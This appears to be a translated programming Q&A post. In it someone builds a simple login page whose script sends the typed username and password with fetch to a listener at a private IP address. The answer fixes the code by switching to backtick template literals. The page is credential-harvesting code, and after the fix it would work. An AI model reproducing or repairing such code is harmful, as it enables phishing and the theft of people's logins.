将 fetch 与变量一起使用

Using fetch with varible

我正在尝试从表单中获取信息并通过提取将它们重定向到不同的服务器。

这是我的代码:

<html>
<body>

<h2> Login page </h2>

<form onsubmit="send()">

<p><label for="login">Login:</label><br />

<input type="text" id="login" name="login" size="20" autocomplete="off"></p>

<p><label for="password">Password:</label><br />

<input type="password" id="password" name="password" size="20" autocomplete="off"></p>

<button type="submit" name="form" value="submit">Login</bottun>
 </form>
</body>

<script>

function send(){

let USER=document.getElementById('login').value;

let PWD = document.getElementById('password').value;
  fetch('http://192.168.206.138:83/?username=${USER}&password=${PWD}');

 }
 </script>
</html>

问题在于提取。 它不转发参数 USER 和 PWD 的值 这是我从监听这个端口的服务器得到的: server side

如果要使用模板字符串文字,字符串应带有反引号 (`):

fetch(`http://192.168.206.138:83/?username=${USER}&password=${PWD}`);